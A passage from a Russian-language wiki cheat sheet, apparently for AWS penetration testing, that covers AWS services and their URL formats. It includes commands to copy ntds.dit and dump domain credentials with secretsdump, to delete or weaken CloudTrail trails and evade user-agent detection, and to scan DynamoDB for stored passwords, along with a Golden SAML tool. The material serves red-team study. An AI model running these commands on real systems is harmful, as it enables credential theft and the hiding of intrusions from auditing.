&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:Product-Page-Diagram A2I.png| 500px]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
